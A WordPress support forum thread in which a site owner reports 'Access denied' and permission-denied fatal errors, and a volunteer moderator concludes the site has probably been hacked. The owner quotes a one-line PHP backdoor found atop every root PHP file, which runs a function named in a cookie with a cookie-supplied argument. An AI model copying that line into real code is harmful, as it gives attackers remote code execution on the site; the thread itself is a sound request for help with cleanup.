• Hi all,

    We’re having some issues with our WordPress site today. Suddenly, the “Access Denied” text appears and it’s impossible to access or view the website.

    When we try to login, we get this message:

    Warning: require_once(/homepages/5/…/htdocs/wp-config.php): failed to open stream: Permission denied in /homepages/5/d455764786/htdocs/wp-load.php on line 37

    Fatal error: require_once(): Failed opening required ‘/homepages/5/…/htdocs/wp-config.php’ (include_path=’.:/usr/lib/php5.5′) in /homepages/5/…/htdocs/wp-load.php on line 37

    we’ve tried different solutions we’ve found in this forum but none of them have worked. Also, we’ve tried changing permissions for htaccess, wp-config and wp-load but (again) none of them made any changes.

    This all happened without updating or installing any new plugins, so we have no idea about what it could be.

    It would be really great if any of you can help us.
    Thanks for reading!

    • This topic was modified 7 years, 10 months ago by janapien.
Viewing 12 replies - 1 through 12 (of 12 total)
  • Moderator Steven Stern (sterndata)

    (@sterndata)

    Volunteer Forum Moderator

    The clue seems to be “Permission denied”. What is the ownership and permissions on wp-config.php?

    Thread Starter janapien

    (@janapien)

    Now the permissions are set to “200”, because that is what It was set at the beggining, but we tried with “777” and it doesn’t work either. What do you mean by “ownership”?

    Thanks for the help.

    Moderator Steven Stern (sterndata)

    (@sterndata)

    Volunteer Forum Moderator

    The permissions should be 640 or 644. What userid owns the file? Is it the same as the rest of the files?

    Thread Starter janapien

    (@janapien)

    The permissions 640 and 644 have already been tested wrongly:

    640:
    Warning: require_once(/homepages/5/…/htdocs/wp-settings.php): failed to open stream: Permission denied in /homepages/5/d455764786/htdocs/wp-config.php on line 85

    Fatal error: require_once(): Failed opening required ‘/homepages/5/…/htdocs/wp-settings.php’ (include_path=’.:/usr/lib/php5.5′) in /homepages/5/…/htdocs/wp-config.php on line 85

    644:
    Warning: require_once(/homepages/5/…/htdocs/wp-config.php): failed to open stream: Permission denied in /homepages/5/d455764786/htdocs/wp-load.php on line 37

    Fatal error: require_once(): Failed opening required ‘/homepages/5/…/htdocs/wp-config.php’ (include_path=’.:/usr/lib/php5.5′) in /homepages/5/…/htdocs/wp-load.php on line 37

    Yes, the user is the same as the rest of the files.

    Moderator Steven Stern (sterndata)

    (@sterndata)

    Volunteer Forum Moderator

    tell me a bit about your hosting… where? who? Is it a VPS or “regular” shared hosting?

    Thread Starter janapien

    (@janapien)

    The hosting is 1and1. We only have access via FTP.

    In the header of several files appears this, is it normal?

    if (isset($_COOKIE[“id”])) @$_COOKIE[“user”]($_COOKIE[“id”]);

    Moderator Steven Stern (sterndata)

    (@sterndata)

    Volunteer Forum Moderator

    which file?

    Thread Starter janapien

    (@janapien)

    In wp-load.php, wp-mail.php, wp-config… In all .php files in /.

    Thread Starter janapien

    (@janapien)

    This are all permissions, It’s ok? https://s5.postimg.org/oqybtvh0n/wordpress.png

    • This reply was modified 7 years, 10 months ago by janapien.
    Moderator Steven Stern (sterndata)

    (@sterndata)

    Volunteer Forum Moderator

    In wp-load.php, wp-mail.php, wp-config… In all .php files in /.

    I strongly urge you to compaare those PHP files with the core versions. See
    https://github.com/WordPress/WordPress

    Remain calm and carefully follow this guide. When you’re done, you may want to implement some (if not all) of the recommended security measures.

    If you’re unable to clean your site(s) successfully, there are reputable organizations that can clean your sites for you. Sucuri and Wordfence are two.

    This are all permissions, It’s ok?

    No. The permissions should be 751 on directories and 640 on files.

    Thread Starter janapien

    (@janapien)

    Well. Thanks for the help.

    We change de permissions and we can see the website for 2 minutes, then “Access denied” appears again because they are changed only from 640 to 200.

    Every time I change it back to 200 after. That could be happening?

    Moderator Steven Stern (sterndata)

    (@sterndata)

    Volunteer Forum Moderator

    Contact your host, but I think you may be hacked.

    Remain calm and carefully follow this guide. When you’re done, you may want to implement some (if not all) of the recommended security measures.

    If you’re unable to clean your site(s) successfully, there are reputable organizations that can clean your sites for you. Sucuri and Wordfence are two.e

Viewing 12 replies - 1 through 12 (of 12 total)
  • The topic ‘Access denied to WordPress. Fatal error: require_once()’ is closed to new replies.